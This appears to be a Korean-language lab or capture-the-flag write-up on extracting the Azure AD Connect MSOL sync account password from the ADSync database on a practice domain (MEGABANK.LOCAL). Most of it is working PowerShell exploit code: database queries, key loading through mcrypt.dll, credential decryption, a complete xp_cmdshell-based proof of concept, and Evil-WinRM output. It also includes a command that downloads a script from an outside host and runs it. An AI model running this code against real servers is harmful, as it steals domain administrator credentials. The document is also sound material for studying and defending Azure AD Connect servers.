azuread_decrypt_msol
์ด ์ต์คํ๋ก์์ Azure AD Connect ๋๊ธฐํ์์ ์ฌ์ฉํ๋ MSOL ์๋น์ค ๊ณ์ (DCSync ํ์ฉ)์ ๋คํํ๋ ์ต์คํ๋ก์์ ๋๋ค.
์ด ์ต์คํ๋ก์์ ํตํด ์์ด๋์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ป์ ์ ์์ต๋๋ค.
๊ด๋ จ ๋งํฌ : ์ต์คํ๋ก์ ์์ธ ์ค๋ช , ์ค์ ์์
์ต์คํ๋ก์์ ํฌ๊ฒ ์ธ ๋ถ๋ถ์ผ๋ก ๋๋ฉ๋๋ค:
DB์์ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ ํค๋งค๋์ ์์ ์ํธํ ํค๋ฅผ ๊ฒ์ํฉ๋๋ค.
DB์์ ์ค์ ๋ฐ ์ํธํ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ฐ์ ธ์ต๋๋ค.
ํค๋ฅผ ๊ฐ์ ธ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ํด๋ ํฉ๋๋ค.
ํค ์ ๋ณด ๊ฐ์ ธ์ค๊ธฐ
์ด ์ฝ๋๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๊ฐ๋จํ ์ฟผ๋ฆฌ๋ฅผ ์ํํ๊ณ ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ์ ์ ํ ๋ณ์์ ์ ์ฅํ๋ ๊ฒ๋ฟ์ ๋๋ค:
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=127.0.0.1;Database=ADSync;Integrated Security=True"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
๋ชฌํ
๋ฒ ๋ฅด๋ฐ์์ sqlcmd๋ฅผ
์ฌ์ฉํ์ฌ ๋์ผํ ์ฟผ๋ฆฌ๋ฅผ ์ํํ์ฌ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค:
*Evil-WinRM* PS C:\> sqlcmd -d ADSync -Q 'SELECT keyset_id, instance_id, entropy FROM mms_server_configuration'
keyset_id instance_id entropy
----------- ------------------------------------ ------------------------------------
1 1852B527-DD4F-4ECF-B541-EFCCBFF29E31 194EC2FC-F186-46CF-B44D-071EB61F49CD
(1 rows affected)
๊ตฌ์ฑ ์ ๋ณด ๊ฐ์ ธ์ค๊ธฐ
๋ค์ ์น์ ์์๋ ๊ตฌ์ฑ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ค๋ ๋ ๋ฒ์งธ ์ฟผ๋ฆฌ๋ฅผ ์ฝ๋ํํฉ๋๋ค:
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
๋ค์ ๋งํ์ง๋ง, sqlcmd๋ก
๋์ผํ ์ฟผ๋ฆฌ๋ฅผ ์ํํ ์ ์์ง๋ง ์ ์ฒด ๊ฒฐ๊ณผ๊ฐ ์ธ์๋์ง๋ ์์ต๋๋ค:
*Evil-WinRM* PS C:\> sqlcmd -d ADSync -Q 'SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = "AD"'
private_configuration_xml encrypted_configuration
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
<adma-configuration>
<forest-name>MEGABANK.LOCAL</forest-name>
<forest-port>0</forest-port>
<forest-guid>{00000000-0000-0000-0000-000000000000}</forest-guid>
<forest-login-user>administrator</forest-login-user>
<forest-login-domain>MEGABANK.LOCAL 8AAAAAgAAABQhCBBnwTpdfQE6uNJeJWGjvps08skADOJDqM74hw39rVWMWrQukLAEYpfquk2CglqHJ3GfxzNWlt9+ga+2wmWA0zHd3uGD8vk/vfnsF3p2aKJ7n9IAB51xje0QrDLNdOqOxod8n7VeybNW/1k+YWuYkiED3xO8Pye72i6D9c5QTzjTlXe5qgd4TCdp4fmVd+UlL/dWT/mhJHve/d9zFr2EX5r5+1TLbJCzYUHqFLvvpCd1rJEr68g
(1 rows affected)
์ ์ฒด ๊ฒฐ๊ณผ๋ฅผ ์ป๊ธฐ ์ํด -y 0์ด
์๋ํ๋ ๊ฒ์ ๋ณด์ฌ์ฃผ๋ ์ด ์คํ์ค๋ฒํ๋ก์ฐ ๊ฒ์๋ฌผ์ ๋ฐ๊ฒฌํ์ต๋๋ค:
*Evil-WinRM* PS C:\> sqlcmd -y0 -d ADSync -Q 'SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = "AD"'
<adma-configuration>
<forest-name>MEGABANK.LOCAL</forest-name>
<forest-port>0</forest-port>
<forest-guid>{00000000-0000-0000-0000-000000000000}</forest-guid>
<forest-login-user>administrator</forest-login-user>
<forest-login-domain>MEGABANK.LOCAL</forest-login-domain>
<sign-and-seal>1</sign-and-seal>
<ssl-bind crl-check="0">0</ssl-bind>
<simple-bind>0</simple-bind>
<default-ssl-strength>0</default-ssl-strength>
<parameter-values>
<parameter name="forest-login-domain" type="string" use="connectivity" dataType="String">MEGABANK.LOCAL</parameter>
<parameter name="forest-login-user" type="string" use="connectivity" dataType="String">administrator</parameter>
<parameter name="password" type="encrypted-string" use="connectivity" dataType="String" encrypted="1" />
<parameter name="forest-name" type="string" use="connectivity" dataType="String">MEGABANK.LOCAL</parameter>
<parameter name="sign-and-seal" type="string" use="connectivity" dataType="String">1</parameter>
<parameter name="crl-check" type="string" use="connectivity" dataType="String">0</parameter>
<parameter name="ssl-bind" type="string" use="connectivity" dataType="String">0</parameter>
<parameter name="simple-bind" type="string" use="connectivity" dataType="String">0</parameter>
<parameter name="Connector.GroupFilteringGroupDn" type="string" use="global" dataType="String" />
<parameter name="ADS_UF_ACCOUNTDISABLE" type="string" use="global" dataType="String" intrinsic="1">0x2</parameter>
<parameter name="ADS_GROUP_TYPE_GLOBAL_GROUP" type="string" use="global" dataType="String" intrinsic="1">0x00000002</parameter>
<parameter name="ADS_GROUP_TYPE_DOMAIN_LOCAL_GROUP" type="string" use="global" dataType="String" intrinsic="1">0x00000004</parameter>
<parameter name="ADS_GROUP_TYPE_LOCAL_GROUP" type="string" use="global" dataType="String" intrinsic="1">0x00000004</parameter>
<parameter name="ADS_GROUP_TYPE_UNIVERSAL_GROUP" type="string" use="global" dataType="String" intrinsic="1">0x00000008</parameter>
<parameter name="ADS_GROUP_TYPE_SECURITY_ENABLED" type="string" use="global" dataType="String" intrinsic="1">0x80000000</parameter>
<parameter name="Forest.FQDN" type="string" use="global" dataType="String" intrinsic="1">MEGABANK.LOCAL</parameter>
<parameter name="Forest.LDAP" type="string" use="global" dataType="String" intrinsic="1">DC=MEGABANK,DC=LOCAL</parameter>
<parameter name="Forest.Netbios" type="string" use="global" dataType="String" intrinsic="1">MEGABANK</parameter>
</parameter-values>
<password-hash-sync-config>
<enabled>1</enabled>
<target>{B891884F-051E-4A83-95AF-2544101C9083}</target>
</password-hash-sync-config>
</adma-configuration>
8AAAAAgAAABQhCBBnwTpdfQE6uNJeJWGjvps08skADOJDqM74hw39rVWMWrQukLAEYpfquk2CglqHJ3GfxzNWlt9+ga+2wmWA0zHd3uGD8vk/vfnsF3p2aKJ7n9IAB51xje0QrDLNdOqOxod8n7VeybNW/1k+YWuYkiED3xO8Pye72i6D9c5QTzjTlXe5qgd4TCdp4fmVd+UlL/dWT/mhJHve/d9zFr2EX5r5+1TLbJCzYUHqFLvvpCd1rJEr68g95aWEcUSzl7mTXwR4Pe3uvsf2P8Oafih7cjjsubFxqBioXBUIuP+BPQCETPAtccl7BNRxKb2aGQ=
(1 rows affected)
์ํธํ๋ ๋น๋ฐ๋ฒํธ๋ ํ๋จ์, ์ค์ ์ ์๋จ์ ์์ต๋๋ค.
์ํธ ํด๋
์คํฌ๋ฆฝํธ์ ์ธ ๋ฒ์งธ ์น์ ์ ๋ณตํธํํฉ๋๋ค. ๋จผ์ ํค ๋งค๋์ ์์ ๋ณตํธํ ๊ฐ์ฒด๋ฅผ ๊ฐ์ ธ์ค๋ ์ผ๋ จ์ ๊ณผ์ ์ ๊ฑฐ์นฉ๋๋ค:
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
์ด์ ์ํธ๋ฅผ ํด๋ ํฉ๋๋ค:
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
๋๋จธ์ง๋ ์ถ๋ ฅ๋ฌผ์ ์์์ ์ง์ ํ๊ณ ์ธ์ํ๊ธฐ๋ง ํ๋ฉด ๋ฉ๋๋ค:
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
์๋ก์ด POC
์ฐจ์ด์
๋ช ๊ฐ์ง ์ถ๊ฐ ์ธ์ ๋ฌธ๊ตฌ๋ฅผ ์ ์ธํ๊ณ ๋ ์ POC์ ์ฒ์ ๋ ์น์
์ ์์ ํ ๋์ผํฉ๋๋ค. ์ธ ๋ฒ์งธ ๋ถ๋ถ์ ์๋ก์ด ๋ถ๋ถ์
๋๋ค. ํ์์
ธ์์ ํค๋ฅผ ๊ฐ์ ธ์์ ์ํธ๋ฅผ ํด๋
ํ๋ ๋์ , ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ๋ช
๋ น์ ์คํํ ์ ์๋๋ก xp_cmdshell์
ํตํด ํด๋น ๋ช
๋ น์ ์ ๋ฌํฉ๋๋ค:
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices. MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
์คํํ๊ธฐ
์ POC ์ฝ๋์ ์ฌ๋ณธ์ ๋ค์ด๋ก๋ํ๊ณ ์๋ณธ์์ ์ํํ ์์ ๊ณผ ์ผ์นํ๋๋ก ์ฐ๊ฒฐ ๋ฌธ์์ด์ ์ ๋ฐ์ดํธํ์ต๋๋ค:
Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=127.0.0.1;Database=ADSync;Integrated Security=True"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_server_configuration"
return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_management_agent"
return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices. MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "[*] Credentials incoming...`n"
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"
์ด์ ์ฒ์์ ์คํํ๋ ๊ฒ์ฒ๋ผ ์คํํด ๋ณด๊ฒ ์ต๋๋ค. xp_cmdshell์์
์คํจํฉ๋๋ค:
*Evil-WinRM* PS C:\> iex(new-object net.webclient).downloadstring('http://10.10.14.11/Get-MSOLCredentialsv2.ps1')
AD Connect Sync Credential Extract v2 (@_xpn_)
[ Updated to support new cryptokey storage method ]
[*] Querying ADSync localdb (mms_server_configuration)
[*] Querying ADSync localdb (mms_management_agent)
[*] Using xp_cmdshell to run some Powershell as the service user
Exception calling "ExecuteReader" with "0" argument(s): "User does not have permission to perform this action.
You do not have permission to run the RECONFIGURE statement.
The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
You do not have permission to run the RECONFIGURE statement.
The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'."
At line:46 char:1
+ $reader = $cmd.ExecuteReader()
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : SqlException
Exception calling "Read" with "0" argument(s): "Invalid attempt to call Read when reader is closed."
At line:50 char:8
+ while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : InvalidOperationException
[!] Error using xp_cmdshell to launch our decryption powershell
์ด DB์์ xp_cmdshell์ด
ํ์ฑํ๋์ด ์์ง ์์ผ๋ฉฐ, ์ ํฌ ๊ณ์ ์ ์ด๋ฅผ ํ์ฑํํ ์ ์๋ ์ถฉ๋ถํ ๊ถํ์ด ์์ต๋๋ค.
sqlcmd์์
์๋ํด๋ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์ต๋๋ค:
*Evil-WinRM* PS C:\> sqlcmd -y0 -d ADSync -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
Msg 15247, Level 16, State 1, Server MONTEVERDE, Procedure sp_configure, Line 105
User does not have permission to perform this action.
Msg 5812, Level 14, State 1, Server MONTEVERDE, Line 1
You do not have permission to run the RECONFIGURE statement.
Msg 15123, Level 16, State 1, Server MONTEVERDE, Procedure sp_configure, Line 62
The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
Msg 5812, Level 14, State 1, Server MONTEVERDE, Line 1
You do not have permission to run the RECONFIGURE statement.
Last updated